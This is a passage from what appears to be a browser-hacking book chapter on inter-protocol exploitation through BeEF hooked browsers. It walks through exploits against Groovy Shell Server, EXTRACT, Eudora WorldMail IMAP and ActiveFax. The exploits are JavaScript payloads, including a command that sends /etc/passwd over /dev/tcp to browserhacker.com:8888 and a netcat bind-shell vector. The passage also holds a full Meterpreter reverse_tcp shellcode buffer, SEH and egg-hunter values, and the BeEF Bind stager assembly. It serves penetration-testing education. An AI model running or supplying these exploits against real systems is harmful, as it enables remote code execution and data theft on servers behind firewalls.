input.setAttribute('id', 'data1')

input.setAttribute('name', 'data1')

input.setAttribute('type', 'hidden');

input.setAttribute('value', commands);

form.appendChild(input);

iframe.contentWindow.document.body.appendChild(form);

form.submit();

The IMAP server used in this example is Eudora, which is used later to demonstrate Inter-protocol Exploitation. As you can see in Figure 10-19, when the IMAP server receives the POST request, the HTTP headers are parsed as bad commands (“unrecognized or not valid in the current state”). The IMAP commands contained in the POST body are correctly parsed, though. In this example, the authentication attempt is failing because we don’t know the correct credentials.

Figure 10-19: IMAP server logs resulting from IPC

image

You can see in Figure 10-19 that the IMAP server is responding with “incorrect password.” On a successful login, different results will be returned and you need to distinguish between these.

Some IMAP servers support the sending of e-mail and this functionality could be used to create a side channel. Timing differences could also be used, depending upon the implementation, as introduced earlier in the Fingerprinting non-HTTP services section. Once logged in, listing the contents of the Inbox is likely to take longer than an error on an unauthenticated connection.

The protocols listed earlier are not an exhaustive list of IPC-capable targets. Any other protocol implementations that meet the IPC requirements — error tolerance and data encapsulation — may potentially also be capable of interacting via IPC. These dependencies may be worthwhile keeping in mind the next time you’re on a penetration testing engagement and come across a new potential IPC target.

Achieving Inter-protocol Exploitation

The previous section discussed Inter-protocol Communication, but Wade Alcorn’s research didn’t stop there. Alcorn demonstrated in a research paper in 200735 that IPC techniques could be expanded to achieve not just communication, but also exploitation, resulting in Inter-protocol Exploitation (IPE). Some of the topics discussed here delve into lower-level application exploitation. So if you feel the need for more information, don’t forget to check out The Shellcoder Hacker’s Handbook 2nd Edition.36

If you’re able to communicate with a non-HTTP protocol using HTTP, as was demonstrated in the previous section, the data you’re sending can also contain Shellcode. Similar to IPC, IPE relies on error tolerance and data encapsulation.

Let’s expand on the initial example used to discuss IPC. For instance, let’s assume a service looks for commands such as:

WRITE <content> <file_path>

Assume then that the code that handles the <file_path> is vulnerable to a buffer overflow because the contents are copied using memcpy without any source length checks, into a buffer of 1024 bytes. If you are trying to discover application vulnerabilities, you will potentially fuzz the input, trying to force crash-conditions. Of course, this fictitious example will crash.

You analyze the segmentation fault data obtained when a WRITE command with a file path of 1500 bytes is submitted. From this, you discover you can control the Extended Instruction Pointer, or EIP, and you have 800 bytes of space in memory to place your Shellcode. Who would have guessed? The contrived fictitious example has exactly the conditions you need for IPE!

Calculating HTTP Header Size

When you send the POST request containing the Shellcode, in a lot of instances you must be very precise. You need to specify where the return address should point to and how many NOPs (and other garbage) should eventually be used. An error of 1 byte might cost you the crash of the listening service you are targeting. This could result in the Shellcode not executing as expected and you failing to compromise the target.

As you have learned, the HTTP headers are discarded by the target protocol. However, this does not mean they are not parsed and therefore loaded into the memory of the process you’re sending data to. In some instances this means the headers must be accounted for.

The easiest way to verify that the HTTP headers are stored in memory is by attaching a debugger to the process you want to analyze. As discussed in the next section with the IMAP exploitation example, Eudora WorldMail versions 6.1.21 (and earlier) store the HTTP headers in memory before parsing the contents of the POST body.

Additionally, you can’t know in advance the exact size of the HTTP headers that are used when sending the cross-origin POST request. Every browser is different, and often includes different HTTP headers. Your exploit must be reliable, otherwise the Shellcode will not execute and the service might crash.

So, how do you solve this problem? One solution is to determine, ahead of time, the exact size of the headers submitted by the hooked browser. You can do this by sending the same cross-origin request you would send to the target service to an HTTP server you control beforehand. BeEF does this by binding a server socket on a unique port to emulate the cross-origin situation. The raw HTTP request content that arrives to the socket is used to calculate the exact size of the headers. The hooked browser can then retrieve the results of the cross-origin request length calculation as a JSON object. The code responsible for calculating the headers’ size and subsequently returning the results back to the hooked browser, is the following:

# Determine the exact size of the cross-origin

# request HTTP headers.

# Needed to calculate junk properly and prevent errors.

# Full URL is <BeEF_server>/api/ipec/junk/<socket_name>

get '/junk/:name' do

socket_name = params[:name]

halt 401 if not BeEF::Filters.alphanums_only?(socket_name)

socket_data = BeEF::Core::NetworkStack::Handlers::AssetHandler. \

instance.get_socket_data(socket_name)

halt 404 if socket_data == nil

if socket_data.include?("\r\n\r\n")

result = Hash.new

headers = socket_data.split("\r\n\r\n").first

BeEF::Core::NetworkStack::Handlers::AssetHandler. \

instance.unbind_socket(socket_name)

print_info "[IPEC] Cross-origin XmlHttpRequest headers \

size - received from bind socket [#{socket_name}]: \

#{headers.size + 4} bytes."

# CRLF -> 4 bytes

result['size'] = headers.size + 4

headers.split("\r\n").each do |line|

if line.include?("Host")

result['host'] = line.size + 2

end

if line.include?("Content-Type")

result['contenttype'] = line.size + 2

end

if line.include?("Referer")

result['referer'] = line.size + 2

end

end

result.to_json

else

print_error "[IPEC] Looks like there is no CRLF \

in the data received!"

halt 404

end

end

Armed with this information, NOPs (or any additional garbage sizes) can be reliably calculated on the fly by the hooked browser before sending its exploit payload to the vulnerable service. It is then easy enough to adjust the Host, Content-Type and Referrer headers that will likely be different, to send a cross-origin HTTP request. It will contain the NOPs and Shellcode sizes adjusted to the precision required to execute without error.

One of the issues discussed earlier is whether the service being exploited is storing the HTTP headers in the same buffer as where your Shellcode is landing. This can be particularly important for post-authentication exploits, as discussed in the next examples. You first need valid credentials to access the service, followed by the Shellcode to exploit the stack overflow vulnerability. For example, if you were to try to exploit a vulnerability within an FTP server’s implementation of the MKD command, you would first have to successfully authenticate to the FTP server.

Ty Miller and Michele Orrù presented research into BeEF’s Bind IPE capability at RuxCon 2012.37 Rodrigo Marcos and the SecForce crew extended this research further by successfully exploiting post-authentication vulnerabilities without needing to calculate the length of the HTTP headers first:38

var auth = 'USER anonymous\r\nPASS anonymous\r\n';

var payload = 'MKD \x89[…shellcode…]';

var body = auth + payload;

They ported an existing exploit for EasyFTP Server to an Inter-protocol Exploit that was submitted within an HTTP POST request body. The request body is generated in the preceding code.

Marcos and the SecForce crew discovered that, in this instance of IPE, the exact HTTP header size was not required. However, this is not always the case. It’s important to remember that depending on the exploit that you’re attempting, you may need a method to calculate the size of the HTTP headers before you submit your exploit payload. Considering this, in addition to error tolerance and data encapsulation, the other dependency that may need to be met to shift from IPC to IPE is the size of the submitted headers.

Inter-protocol Exploitation Examples

Now that you have considered some requirements for IPE, let’s jump into the more practical Inter-protocol Exploits. The following sections will examine some protocols that can be exploited by sending requests from the browser.

Groovy Shell Inter-protocol Exploitation Example

A good example of an IPE attack can be demonstrated against the Groovy Shell Server.39 Groovy Shell Server is a daemonized version of the popular Groovy Shell, a command-line application that enables you to evaluate Groovy code on the fly. It is quite common in environments that rely on Groovy and Grails to speed up the classic development of Java applications using more agile methodologies. In May 2013, Brendan Coles discovered that not only was the Groovy Shell Server vulnerable to Remote Code Execution, but it also met the criteria for IPE. The custom protocol used by this tool is reachable on port 6789 by default, which is also advantageous because port banning does not prevent access to this port.

In this instance, RCE exploitation is easier than more complex overflows, because you don’t have to deal with memory allocation or Shellcode. Because the Groovy Shell accepts any kind of content on port 6789 (as a normal shell environment would do), IPE can be used. It’s just a matter of encapsulating the Groovy code into an HTTP POST request, as shown here:

var rhost = '192.168.0.100'; // Targeted host

var rport = '6789'; // Targeted port

// /dev/tcp is supported in most

// Linux distributions (Debian, Ubuntu, etc..)

var cmd = 'cat /etc/passwd >/dev/tcp/browserhacker.com/8888';

// create the final payload using Groovy's

// "command".execute() method

var payload = "\r\ndiscard\r\nprintln '" + cmd +

"'.execute().text\r\ngo\r\nexit\r\n";

// send the POST request

beef.dom.createIframeIpecForm(rhost, rport, "/", payload);

As you can see from the payload variable value, the command cmd gets executed in a similar way to how Java executes system commands. In Java, you would perform:

String cmd = "uname -ra";

Runtime.getRuntime().exec(cmd);

Although the Groovy language syntax simplifies this slightly, to perform the same task you would do the following:

def cmd = "uname -ra"

cmd.execute()

If the server being exploited is running on a Linux operating system that has the /dev/tcp device configured, you can extrude the contents of /etc/passwd to browserhacker.com:8888. There’s nothing preventing you from creating multiple IFrames, each one using a different RCE vector—for example, a Netcat bind or reverse connection—and targeting different platforms.

EXTRACT Inter-protocol Exploitation Example

EXTRACT is a Web Information Management System. It allows users to store and search many different kinds of structured data in a database classified in categories. It was found40 to be vulnerable to RCE, once again by Brendan Coles. By default, the custom protocol used by this tool is reachable on TCP port 10100. This is helpful because port banning doesn’t prevent HTTP connections to that port.

Unlike the previous Groovy Shell exploit, this service is slightly trickier. Within the protocol, the createuser command was found to be vulnerable to command execution. However, the expected input cannot contain any spaces, which makes sense because a username shouldn’t have any whitespace characters. Experienced penetration testers may be familiar with the following attack vector that does not contain any spaces:

{netcat,-l,-p,1337,-e,/bin/bash}

This vector is using the Bracket Expansion feature41 within the Bash shell often found on Linux systems. The previous line will be expanded by Bash, removing the braces, {}, replacing every comma with a space, and finally executing the command.

The final attack vector to exploit the EXTRACT 0.5.1 service is:

var cmd = "{netcat,-l,-p,1337,-e,/bin/bash}";

var payload = 'createuser '+cmd+'&>/dev/null; echo;\r\nquit\r\n';

beef.dom.createIframeIpecForm(host, port, "/index.html", payload);

If command execution works as expected, you should be able to connect to port 1337 on the target host with Netcat, and get a shell. If the exploited system is behind a firewall, you could use the bind shell IPC methods explored earlier in this chapter.

IMAP Inter-protocol Exploitation Example

Tim Shelton discovered that the Eudora WorldMail IMAP server versions 6.1.21 and earlier were vulnerable to an overflow vulnerability pre-authentication. The exploit required the submission of a properly crafted LIST command.42 Memory analysis of the service upon receiving HTTP data, as opposed to IMAP data, highlighted how HTTP headers are stored in memory. This is shown in Figure 10-20, after the Immunity Debugger was attached to the process:

Figure 10-20: HTTP headers in the memory of the process

image

To successfully exploit the service you need to know the data length of the combined HTTP headers sent by the browser. This is important because it enables you to control the location of the data you place in memory.

You can perform this calculation in two steps with BeEF by using the previously discussed HTTP header calculation logic. Suppose BeEF is running on browserhacker.com:3000, and the HTTP calculation server socket is available on port 2000. You can use the following JavaScript to calculate the correct HTTP header size that will later be required in the exploitation request:

var beef_host = "http://browserhacker.com";

var beef_junk_port = 2000;

var uri = "http://" + beef_host + ":" + beef_junk_port + "/";

var xhr = new XMLHttpRequest();

xhr.open("POST", uri, true);

xhr.setRequestHeader("Content-Type", "text/plain");

xhr.setRequestHeader('Accept','*/*');

xhr.setRequestHeader("Accept-Language", "en");

xhr.send("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");

When the socket receives the request, the BeEF console reports the following:

[18:56:06][*] [IPEC] Cross-origin XmlHttpRequest headers

size - received from bind socket [imapeudora1]: 443 bytes.

Now the BeEF server knows the exact size of the cross-origin HTTP request headers. The next step is to communicate this correct size to the hooked browser. This allows the hooked browser to construct an Inter-protocol Exploit that will place the data (NOPs and Shellcode) in the correct locations in memory.

In this instance, you want to use Metasploit’s Meterpreter reverse_tcp payload instead of building a malicious payload yourself. In this example, assume your reverse connection handler is listening on 172.16.37.1:9999. The following Metasploit commands generate the Shellcode payload for you:

msf payload(reverse_tcp) > use payload/windows/meterpreter/reverse_tcp

msf payload(reverse_tcp) > set LHOST 172.16.37.1

LHOST => 172.16.37.1

msf payload(reverse_tcp) > set LPORT 9999

LPORT => 9999

msf payload(reverse_tcp) > generate -b "\x00\x0a\x0d\x20\x7b"

# windows/meterpreter/reverse_tcp - 317 bytes (stage 1)

# http://www.metasploit.com

# Encoder: x86/shikata_ga_nai

# VERBOSE=false, LHOST=172.16.37.1, LPORT=9999,

buf =

"\xda\xdf\xd9\x74\x24\xf4\xbe\xba\xeb\xc6\xfc\x5a\x29\xc9" +

"\xb1\x49\x83\xea\xfc\x31\x72\x15\x03\x72\x15\x58\x1e\x3a" +

"\x14\x15\xe1\xc3\xe5\x45\x6b\x26\xd4\x57\x0f\x22\x45\x67" +

"\x5b\x66\x66\x0c\x09\x93\xfd\x60\x86\x94\xb6\xce\xf0\x9b" +

"\x47\xff\x3c\x77\x8b\x9e\xc0\x8a\xd8\x40\xf8\x44\x2d\x81" +

"\x3d\xb8\xde\xd3\x96\xb6\x4d\xc3\x93\x8b\x4d\xe2\x73\x80" +

"\xee\x9c\xf6\x57\x9a\x16\xf8\x87\x33\x2d\xb2\x3f\x3f\x69" +

"\x63\x41\xec\x6a\x5f\x08\x99\x58\x2b\x8b\x4b\x91\xd4\xbd" +

"\xb3\x7d\xeb\x71\x3e\x7c\x2b\xb5\xa1\x0b\x47\xc5\x5c\x0b" +

"\x9c\xb7\xba\x9e\x01\x1f\x48\x38\xe2\xa1\x9d\xde\x61\xad" +

"\x6a\x95\x2e\xb2\x6d\x7a\x45\xce\xe6\x7d\x8a\x46\xbc\x59" +

"\x0e\x02\x66\xc0\x17\xee\xc9\xfd\x48\x56\xb5\x5b\x02\x75" +

"\xa2\xdd\x49\x12\x07\xd3\x71\xe2\x0f\x64\x01\xd0\x90\xde" +

"\x8d\x58\x58\xf8\x4a\x9e\x73\xbc\xc5\x61\x7c\xbc\xcc\xa5" +

"\x28\xec\x66\x0f\x51\x67\x77\xb0\x84\x27\x27\x1e\x77\x87" +

"\x97\xde\x27\x6f\xf2\xd0\x18\x8f\xfd\x3a\x31\x25\x07\xad" +

"\x92\xa9\x22\x2c\x83\xcb\x2c\x09\x5c\x42\xca\x3f\x72\x02" +

"\x44\xa8\xeb\x0f\x1e\x49\xf3\x9a\x5a\x49\x7f\x28\x9a\x04" +

"\x88\x45\x88\xf1\x78\x10\xf2\x54\x86\x8f\x99\x58\x12\x2b" +

"\x08\x0e\x8a\x31\x6d\x78\x15\xca\x58\xf2\x9c\x5e\x23\x6d" +

"\xe1\x8e\xa3\x6d\xb7\xc4\xa3\x05\x6f\xbc\xf7\x30\x70\x69" +

"\x64\xe9\xe5\x91\xdd\x5d\xad\xf9\xe3\xb8\x99\xa6\x1c\xef" +

"\x1b\x9b\xca\xd6\x99\xed\x78\x3b\x62"

According to the earlier HTTP header calculation, you have 423 bytes of headers to take into consideration. You also previously calculated that the total size for your Shellcode is 769 bytes. This gives you enough space to use the Meterpreter Stager payload. However, you still need to adjustNOPs dynamically according to the space you have, otherwise your Shellcode might not land properly in memory.

You can use the following JavaScript to send the Stager to the IMAP service, after calculating the total space available and the HTTP header’s size:

var stager = "B33FB33F" +

"\xda\xdf\xd9\x74\x24\xf4\xbe\xba\xeb\xc6\xfc\x5a\x29\xc9" +

"\xb1\x49\x83\xea\xfc\x31\x72\x15\x03\x72\x15\x58\x1e\x3a" +

"\x14\x15\xe1\xc3\xe5\x45\x6b\x26\xd4\x57\x0f\x22\x45\x67" +

"\x5b\x66\x66\x0c\x09\x93\xfd\x60\x86\x94\xb6\xce\xf0\x9b" +

"\x47\xff\x3c\x77\x8b\x9e\xc0\x8a\xd8\x40\xf8\x44\x2d\x81" +

"\x3d\xb8\xde\xd3\x96\xb6\x4d\xc3\x93\x8b\x4d\xe2\x73\x80" +

"\xee\x9c\xf6\x57\x9a\x16\xf8\x87\x33\x2d\xb2\x3f\x3f\x69" +

"\x63\x41\xec\x6a\x5f\x08\x99\x58\x2b\x8b\x4b\x91\xd4\xbd" +

"\xb3\x7d\xeb\x71\x3e\x7c\x2b\xb5\xa1\x0b\x47\xc5\x5c\x0b" +

"\x9c\xb7\xba\x9e\x01\x1f\x48\x38\xe2\xa1\x9d\xde\x61\xad" +

"\x6a\x95\x2e\xb2\x6d\x7a\x45\xce\xe6\x7d\x8a\x46\xbc\x59" +

"\x0e\x02\x66\xc0\x17\xee\xc9\xfd\x48\x56\xb5\x5b\x02\x75" +

"\xa2\xdd\x49\x12\x07\xd3\x71\xe2\x0f\x64\x01\xd0\x90\xde" +

"\x8d\x58\x58\xf8\x4a\x9e\x73\xbc\xc5\x61\x7c\xbc\xcc\xa5" +

"\x28\xec\x66\x0f\x51\x67\x77\xb0\x84\x27\x27\x1e\x77\x87" +

"\x97\xde\x27\x6f\xf2\xd0\x18\x8f\xfd\x3a\x31\x25\x07\xad" +

"\x92\xa9\x22\x2c\x83\xcb\x2c\x09\x5c\x42\xca\x3f\x72\x02" +

"\x44\xa8\xeb\x0f\x1e\x49\xf3\x9a\x5a\x49\x7f\x28\x9a\x04" +

"\x88\x45\x88\xf1\x78\x10\xf2\x54\x86\x8f\x99\x58\x12\x2b" +

"\x08\x0e\x8a\x31\x6d\x78\x15\xca\x58\xf2\x9c\x5e\x23\x6d" +

"\xe1\x8e\xa3\x6d\xb7\xc4\xa3\x05\x6f\xbc\xf7\x30\x70\x69" +

"\x64\xe9\xe5\x91\xdd\x5d\xad\xf9\xe3\xb8\x99\xa6\x1c\xef" +

"\x1b\x9b\xca\xd6\x99\xed\x78\x3b\x62";

/*

* Egg Hunter (Skape's NtDisplayString technique).

* Original size: 32 bytes

*/

var egg_hunter =

"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" +

"\xef\xb8\x42\x33\x33\x46\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7";

var next_seh = "\xeb\x06\x90\x90";

var seh = "\x4e\x3b\x01\x10"; // POP ECX mailcmn.dll

gen_nops = function(count){

var i = 0;

var result = "";

while(i < count ){ result += "\x90";i++;}

log("gen_nops: generated " + result.length + " nops.");

return result;

};

var available_space = 769;

var headers_size = 423;

// bytes of NOPs to generate -> 21

var junk = available_space - stager.length - headers_size;

var junk_data = gen_nops(junk);

// final shellcode

var payload = junk_data + stager + next_seh + seh + egg_hunter;

var url = "http://172.16.37.151:143/";

var xhr = new XMLHttpRequest();

// for WebKit-based browsers

if (!XMLHttpRequest.prototype.sendAsBinary) {

XMLHttpRequest.prototype.sendAsBinary = function (sData) {

var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);

for (var nIdx = 0; nIdx < nBytes; nIdx++) {

ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff;

}

/* send as ArrayBufferView...: */

this.send(ui8Data);

};

}

xhr.open("POST", url, true);

xhr.setRequestHeader("Content-Type", "text/plain");

xhr.setRequestHeader('Accept','*/*');

xhr.setRequestHeader("Accept-Language", "en");

var post_body = "a001 LIST " + "}" + payload + "}" + "\r\n";

xhr.sendAsBinary(post_body);

If you run this code, a POST request is sent to the vulnerable Eudora IMAP service listening on 172.16.37.151:143, as shown in Figure 10-21.

Figure 10-21: Exploit’s Stager delivery from Firefox

image

Because you specified a reverse_tcp Meterpreter payload, you need to bind a reverse connection handler before sending the request. This step is mandatory because when the handler receives the reverse connection from the target, it needs to reply sending back the Meterpreter Stage.

The final results of the exploitation are shown in Figure 10-22.

Figure 10-22: Interaction with the compromised IMAP server

image

As you can see from the netstat command in Figure 10-22, you can now interact with the target system.

ActiveFax Inter-protocol Exploitation Example

ActiveFax is a popular network fax solution available for Windows. It is often found on internal networks. Craig Freyman discovered43 a buffer overflow in one of the commands processed by the RAW server component (versions 5.01 and below).

ActiveFax enables you to use LPD, RAW, and FTP protocols to transfer faxes. The Raw server accepts TCP packets and processes fax-related content contained between @Fx and @ delimiters, where @Fx is a specific command understood by the protocol.

The Raw server component can be bound to any TCP port. The user manual (page 112) suggests44 port 3000, which is not prohibited by port banning. It turns out that the RAW server component also uses an error-tolerant protocol. LPD and FTP are error tolerant too, as discussed before, but they are port banned. That’s why you want to focus on the RAW server component.

The buffer overflow condition exists in the @F506 command, which is responsible for exporting a fax using a specific file format and resolution. For instance, a valid command would be @F506 pdf,150@, to export the fax as a PDF with resolution 150.

The exploitation of this buffer overflow condition was a bit trickier than usual, because the space available for the Shellcode was not contiguous. Additionally, the Shellcode needed to be encoded to remove bad characters. All characters from \x00 to \x1f had to be removed, including \x40 (@) because it’s used as a command prefix/suffix. In these cases, Metasploit’s alpha_mixed encoder comes in handy, but it comes at the cost of increasing the size of the Shellcode.

The following code can be launched from the hooked browser. It injects the Meterpreter Stager into memory by exploiting the buffer overflow vulnerability:

var target = "http://172.16.37.151";

var port = 3000;

var xhr = null;

// Meterpreter reverse_tcp stager.

// connects back to 172.16.37.1:4444

// encoded with x86/alpha_mixed

var stager =

"\x89\xe2\xda[...snip...]";

// jmp esp in ole32.dll - Win XP SP3 English

var eip = '\x77\x9c\x55\x77';

// align the stack

var adjust = '\x81\xc4\x24\xfa\xff\xff';

var shellcode_chunk_1 = stager.slice(0,554);

var shellcode_chunk_2 = stager.slice(554, stager.length);

function genJunk(c, length){

var temp = "";

for(var i=0;i<length;i++){

temp += c;

}

return temp;

}

var fill = genJunk("\x42", (1024 - shellcode_chunk_2.length));

function sendRequest(port, data){

xhr = new XMLHttpRequest();

// for WebKit-based browsers

var url = target + ":"+ port;

if (!XMLHttpRequest.prototype.sendAsBinary) {

XMLHttpRequest.prototype.sendAsBinary = function (sData) {

var nBytes = sData.length, ui8Data =

new Uint8Array(nBytes);

for (var nIdx = 0; nIdx < nBytes; nIdx++) {

ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff;

}

/* send as ArrayBufferView...: */

this.send(ui8Data);

};

}

xhr.open("POST", url, true);

xhr.setRequestHeader("Content-Type", "text/plain");

xhr.setRequestHeader('Accept','*/*');

xhr.setRequestHeader("Accept-Language", "en");

xhr.sendAsBinary(data);

}

// final shellcode

var payload = shellcode_chunk_2 + fill +

eip + adjust + shellcode_chunk_1;

var stager_request = "@F506 " + payload + "@\r\n\r\n";

sendRequest(port, stager_request);

setTimeout(function(){

xhr.abort();

}, 2000);

The RAW server has a default socket timeout of 60 seconds. This is important because the Shellcode is executed only once the connection is terminated.

If you were writing this exploit in Ruby and you had a direct connection it would be trivial to drop the connection. However, remember you are launching this from a hooked browser. Don’t worry! You can obtain similar functionality with the XmlHttpRequest by using the abort() method.45Aborting the XHR call a few seconds after sending the data results in the Shellcode getting executed without needing to wait for the RAW server to drop the connection.

The results of running the preceding code are shown in Figure 10-23.

Figure 10-23: Interaction with the compromised ActiveFax server

image

Mona

Peter Van Eeckhoutte and the Corelan Team wrote and actively maintain mona.py,46 an Immunity/WinDBG debugger plugin. Mona is great because it automates many (boring) tasks that are commonly repeated when performing vulnerability research and exploit development. Detecting bad characters on a custom protocol, as well as many other tasks, would be very tedious without Mona.

For example, if you need to change the JMP ESP instruction in ole32.dll, used in the previous ActiveFax code example because your target is not XP SP3 English, you can do that with Mona. Just attach Immunity Debugger to ActiveFax, and then use the command !mona jmp -r esp, which produces results similar to the following (the first address is used in the exploit example):

0x77559c77 : jmp esp | {PAGE_EXECUTE_READ} [ole32.dll]

ASLR: False, Rebase: False, SafeSEH: True, OS: True,

v5.1.2600.6435 (C:\WINDOWS\system32\ole32.dll)

0x7755a9a8 : jmp esp | {PAGE_EXECUTE_READ} [ole32.dll]

ASLR: False, Rebase: False, SafeSEH: True, OS: True,

v5.1.2600.6435 (C:\WINDOWS\system32\ole32.dll)

Mona has tons of additional features, including a semi-automated Metasploit template generator. Make sure to check the plugin out if you’re spending time researching vulnerabilities or developing exploits.

The previous examples were using browserhacker.com mapped in /etc/hosts at 172.16.37.1, because VMware virtual machines were used for demonstration purposes. In a real-life scenario, Metasploit’s reverse connection handler and BeEF will likely run on an Internet-exposed system with a public IP. In other words, the reverse connection will point to a machine you control, which is outside the hooked browser’s internal network. A high-level overview of the exploitation flow is described in Figure 10-24.

Figure 10-24: High-level overview of ActiveFax exploitation with reverse Meterpreter Shellcode

image

Remember, the only thing you control inside the target internal network is the hooked browser. This situation may not be ideal because network perimeter egress filtering solutions might detect an outgoing connection from the target server in the internal network to a host in the Internet. Moreover, a vigilant system administrator will likely be more suspicious seeing a connection from an internal server to an unknown Internet-facing system, rather than a connection from an internal server to another internal system.

Before diving into the next section, it’s important to remember the requirements that have to be met in order to perform IPE attacks. First, the protocol implementations you’re abusing must be tolerant to errors and data encapsulation within HTTP requests. Second, you may need to spend some effort initially understanding just what HTTP headers are present, and adjust your payload size appropriately. Third, these attacks are assuming an unobstructed egress channel from the targeted internal server. Making the assumption that an internal server can talk out of a network using arbitrary ports is becoming less valid as more security perimeter controls are layered into enterprise environments. Finally, without performing fairly significant reconnaissance, finding internally exploitable systems vulnerable to not only IPC but also IPE is not a trivial task.

While overcoming the difficulty of performing reconnaissance and discovering exploitable systems has been addressed by the earlier section on Identifying Targets, this doesn’t help with the third issue. How do you communicate back out from an exploited system to the Internet, if outbound access is restricted? The following section will cover how to overcome this limitation with the BeEF Bind Shellcode.

Getting Shells using BeEF Bind

This final section wraps up the previously discussed Inter-protocol Exploitation and Communication (IPEC) attacks, and introduces the BeEF Bind (a concept conceived by Wade Alcorn). The BeEF Bind is a relatively small bind Shellcode for Windows and Linux that can be used with IPE attacks. The same idea behind the Shellcode internals is then re-implemented with Java and PHP examples. Of course, you can port it to almost any language.

Chapter 9 covered practical Remote Command Execution attacks against web applications and Java application servers. Many of the discussed payloads can be modified with the BeEF Bind payload to achieve full bidirectional communication through the hooked browser back to the compromised JBoss, GlassFish, or m0n0wall servers.

The BeEF Bind Shellcode

BeEF Bind is, as the name suggests, a bind Shellcode. What this means is that it’s a tiny staging Shellcode that you can use within your exploits to achieve bidirectional communication with the compromised system from a hooked browser. Developed in 2011 by Ty Miller, the Shellcode was publicly released during RuxCon 2012. The Shellcode is organized into a Stager and a Stage.

The Stager is the first part of the Shellcode that is contained within the exploit. It includes a very minimal set of instructions that are used to then execute the Stage, which comes with secondary requests. The Stage is sent to a port that the Stager binds. This contains the final payload to be executed, such as the bidirectional channel functionality and the ability to execute operating system commands.

The reason that BeEF Bind is split into two components is because the Stage is often too big to be submitted as part of the initial exploit. Of course, the BeEF Bind Stage is sent afterward, but other payloads can be sent as well.

The Stager alleviates the size problem because it’s small enough to execute, and its sole purpose is to then receive the larger Stage for further execution. To account for exploiting both Windows and Linux systems, two separate BeEF Bind implementations are discussed next.

Win32 Stager

The size of the initial Stager is only 299 bytes. This small size is ideal for most Windows exploits, and also leaves some space to encode bad characters depending on the protocol you want to target.

Following is the Assembly source of the Stager, keeping in mind that Stephen Fewer’s block_bind_tcp.asm is not included because it is public code that you can find in Metasploit:47

;----------------------------------------------------------;

; Author: Ty Miller @ Threat Intelligence

; Compatible: Windows 7, 2008, Vista,

; 2003, XP, 2000, NT4

; Version: 1.0 (2nd December 2011)

;----------------------------------------------------------;

[BITS 32]

;INPUT: EBP is block_api.

; by here we will have performed the bind_tcp

; connection to setup our external web socket

%include "src/block_bind_tcp.asm"

; Input: EBP must be the address of 'api_call'.

; Output: EDI will be the newly connected clients socket

; Clobbers: EAX, EBX, ESI, EDI, ESP will

; also be modified (-0x1A0)

;%include "src/block_virtualalloc.asm"

; Input: None

; Output: EAX holds pointer to the start of buffer 0x1000

; bytes, EBX has value 0x1000

; Clobbers: EAX, EBX, ECX, EDX

; Included here below:

mov ebx,0x1000 ; setup our flags and buffer size in ebx

; Alloc a buffer for the request and response data

allocate_memory:

; PAGE_EXECUTE_READWRITE - don't need execute but may as well

push byte 0x40

push ebx ; MEM_COMMIT

push ebx ; size of memory to be allocated (4096 bytes)

push byte 0 ; NULL as we don’t care where the allocation is

push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )

; VirtualAlloc( NULL, dwLength,

; MEM_COMMIT, PAGE_EXECUTE_READWRITE );

call ebp

; save pointer to buffer since eax gets clobbered

mov esi, eax

; Receive the web request containing the stage

recv:

push byte 0 ; flags

push ebx ; allocated space for stage

push eax ; start of our allocated command space

push edi ; external socket

push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )

call ebp ; recv( external_socket, buffer, size, 0 );

close_handle:

push edi ; hObject: external socket

push 0x528796C6 ; hash(kernel32.dll,CloseHandle)

call ebp ; CloseHandle

; Search for "cmd=" in the web request for our payload

find_cmd:

cmp dword [esi], 0x3d646d63 ; check if ebx points to "cmd="

jz cmd_found ; if we found "cmd=" then parse the command

inc esi ; point ebx to next char in request data

jmp short find_cmd ; check next location for "cmd="

cmd_found: ; now pointing to start of our command

; add esi,4 ; starts off pointing at "cmd=" so add 3

; (plus inc eax below) to point to command

; ... this compiles to 6 byte opcode

db 0x83, 0xC6, 0x04 ; add esi,4 ... but only 3 byte opcode

jmp esi ; jump to our stage payload

If you’re unfamiliar with Shellcode, The Shellcoder Hacker’s Handbook 2nd Edition is a great resource. The four main steps of the Stager are:

1. Bind a port on 4444/TCP to accept an HTTP POST request containing the raw Stage in a parameter called cmd.

2 When the request gets processed, the Stager locates the Stage by searching for the string cmd= in memory, checking if the EBX register value points to it:

cmp dword [esi], 0x3d646d63

3. When the Stage memory address is found, the Stager allocates a chunk of executable memory and then copies the Stage into it.

4. The bind port 4444/TCP is then closed, and the Stage is executed.

The cmd parameter in the POST content is a binary version of the Stage, which is explored next.

Win32 Stage

The BeEF Bind Stage is essentially a stripped-down web server. It replies with a classic HTTP response, adding the appropriate CORS header to allow bidirectional communication with the hooked browser. This could equally use JavaScript to communicate cross-origin, though this would have introduced more complexity to the Stage.

The source code of the Stage is much bigger than the Stager, so in the interests of brevity, it is not included here. You can find the full assembly source at https://browserhacker.com, but for now let’s explore some of the most interesting parts of the Stage.

The following code is responsible for adding the appropriate HTTP response headers, in particular Access-Control-Allow-Origin: *header:

response_headers:

push esi ; save pointer to start of buffer

lea edi,[esi+1048] ; set pointer to output buffer

call get_headers ; locate the static http response headers

db 'HTTP/1.1 200 OK', 0x0d, 0x0a, 'Content-Type: text/html',

0x0d,0x0a, 'Access-Control-Allow-Origin: *', 0x0d, 0x0a,

'Content-Length: 3016', 0x0d, 0x0a, 0x0d, 0x0a

get_headers:

pop esi ; get pointer to response headers into esi

mov ecx, 98 ; length of http response headers

rep movsb ; move the http headers into the buffer

pop esi ; restore pointer to start of buffer

The Stager and the Stage share the same internals when binding TCP ports and searching for cmd= in memory.

The complexity of the Stage resides in the process of executing operating system commands, reading their output, and returning the results in an HTTP response. The following steps are enacted:

1. Sets of OS pipes are created to redirect the input and output through cmd.exe. These pipes are used to pass and subsequently execute OS commands.

2. Commands are executed and their output is read into a preallocated buffer.

3. The output buffer content is included in the HTTP response along with the CORS header discussed previously.

